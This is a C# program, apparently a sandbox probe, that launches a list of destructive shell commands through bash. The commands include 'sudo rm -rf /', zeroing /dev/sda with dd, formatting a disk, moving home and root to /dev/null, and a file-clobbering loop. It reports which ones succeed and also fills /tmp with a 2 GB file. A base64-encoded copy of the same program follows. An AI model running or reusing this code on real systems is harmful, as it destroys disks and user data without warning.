using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
public class Program
{
public static void Main()
{
var list = new List<string>
{
@"-c sudo rm -rf /",
@"-c rm -rf .*",
@"-c dd if=/dev/zero of=/dev/sda",
@"-c mkfs.ext3 /dev/hda",
@"-c whatever > /dev/hda",
@"-c cd ~; for x in `ls`; do mv -f $x $y; y=$x; done",
@"-c find -type f -mtime +30 -exec mv {} /dev/null \;",
@"-c mv ~ /dev/null",
@"-c mv / /dev/null"
};
foreach (var cmd in list)
{
var proc = GetProcess(cmd);
Console.Write("Trying '" + cmd + "'...");
try
{
proc.Start();
Console.Write("Ok\n");
}
catch (Exception ex)
{
Console.Write("Fail\n");
}
}
WriteFile();
}
private static Process GetProcess(string cmd)
{
return new Process
{
StartInfo =
{
FileName = "/bin/bash",
UseShellExecute = false,
RedirectStandardOutput = true,
Arguments = cmd
}
};
}
private static void WriteFile()
{
try
{
Console.Write("Writing file...");
var fs = new FileStream(@"/tmp/cruft", FileMode.CreateNew);
fs.Seek(2048L * 1024 * 1024, SeekOrigin.Begin);
fs.WriteByte(0);
fs.Close();
var file = Directory.GetFiles(@"/tmp", "cruft");
Console.Write("Ok\n");
Console.Write("Getting size...");
var size = new FileInfo("/tmp/cruft").Length;
Console.Write("Ok\n");
}
catch (Exception ex)
{
Console.Write("Fail\n");
}
}
}
dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYzsKdXNpbmcgU3lzdGVtLkRpYWdub3N0aWNzOwp1c2luZyBTeXN0ZW0uSU87CgpwdWJsaWMgY2xhc3MgUHJvZ3JhbQp7CiAgICBwdWJsaWMgc3RhdGljIHZvaWQgTWFpbigpCiAgICB7CiAgICAgICAgdmFyIGxpc3QgPSBuZXcgTGlzdDxzdHJpbmc+CiAgICAgICAgewogICAgICAgICAgICBAIi1jIHN1ZG8gcm0gLXJmIC8iLAogICAgICAgICAgICBAIi1jIHJtIC1yZiAuKiIsCiAgICAgICAgICAgIEAiLWMgZGQgaWY9L2Rldi96ZXJvIG9mPS9kZXYvc2RhIiwKICAgICAgICAgICAgQCItYyBta2ZzLmV4dDMgL2Rldi9oZGEiLAogICAgICAgICAgICBAIi1jIHdoYXRldmVyID4gL2Rldi9oZGEiLAogICAgICAgICAgICBAIi1jIGNkIH47IGZvciB4IGluIGBsc2A7IGRvIG12IC1mICR4ICR5OyB5PSR4OyBkb25lIiwKICAgICAgICAgICAgQCItYyBmaW5kIC10eXBlIGYgLW10aW1lICszMCAtZXhlYyBtdiB7fSAvZGV2L251bGwgXDsiLAogICAgICAgICAgICBAIi1jIG12IH4gL2Rldi9udWxsIiwKICAgICAgICAgICAgQCItYyBtdiAvIC9kZXYvbnVsbCIKICAgICAgICB9OwoKICAgICAgICBmb3JlYWNoICh2YXIgY21kIGluIGxpc3QpCiAgICAgICAgewogICAgICAgICAgICB2YXIgcHJvYyA9IEdldFByb2Nlc3MoY21kKTsKCiAgICAgICAgICAgIENvbnNvbGUuV3JpdGUoIlRyeWluZyAnIiArIGNtZCArICInLi4uIik7CgogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgcHJvYy5TdGFydCgpOwogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZSgiT2tcbiIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGUoIkZhaWxcbiIpOwogICAgICAgICAgICB9CiAgICAgICAgfSAgICAgICAKCiAgICAgICAgV3JpdGVGaWxlKCk7CiAgICB9CgogICAgcHJpdmF0ZSBzdGF0aWMgUHJvY2VzcyBHZXRQcm9jZXNzKHN0cmluZyBjbWQpCiAgICB7CiAgICAgICAgcmV0dXJuIG5ldyBQcm9jZXNzCiAgICAgICAgewogICAgICAgICAgICBTdGFydEluZm8gPQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBGaWxlTmFtZSA9ICIvYmluL2Jhc2giLAogICAgICAgICAgICAgICAgVXNlU2hlbGxFeGVjdXRlID0gZmFsc2UsCiAgICAgICAgICAgICAgICBSZWRpcmVjdFN0YW5kYXJkT3V0cHV0ID0gdHJ1ZSwKICAgICAgICAgICAgICAgIEFyZ3VtZW50cyA9IGNtZAogICAgICAgICAgICB9CiAgICAgICAgfTsKICAgIH0KCiAgICBwcml2YXRlIHN0YXRpYyB2b2lkIFdyaXRlRmlsZSgpCiAgICB7CiAgICAgICAgdHJ5CiAgICAgICAgewogICAgICAgICAgICBDb25zb2xlLldyaXRlKCJXcml0aW5nIGZpbGUuLi4iKTsKCiAgICAgICAgICAgIHZhciBmcyA9IG5ldyBGaWxlU3RyZWFtKEAiL3RtcC9jcnVmdCIsIEZpbGVNb2RlLkNyZWF0ZU5ldyk7CiAgICAgICAgICAgIGZzLlNlZWsoMjA0OEwgKiAxMDI0ICogMTAyNCwgU2Vla09yaWdpbi5CZWdpbik7CiAgICAgICAgICAgIGZzLldyaXRlQnl0ZSgwKTsKICAgICAgICAgICAgZnMuQ2xvc2UoKTsKCiAgICAgICAgICAgIHZhciBmaWxlID0gRGlyZWN0b3J5LkdldEZpbGVzKEAiL3RtcCIsICJjcnVmdCIpOwoKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZSgiT2tcbiIpOwogICAgICAgICAgICBDb25zb2xlLldyaXRlKCJHZXR0aW5nIHNpemUuLi4iKTsKCiAgICAgICAgICAgIHZhciBzaXplID0gbmV3IEZpbGVJbmZvKCIvdG1wL2NydWZ0IikuTGVuZ3RoOwoKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZSgiT2tcbiIpOwogICAgICAgIH0KICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgIHsKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZSgiRmFpbFxuIik7CiAgICAgICAgfQogICAgfQp9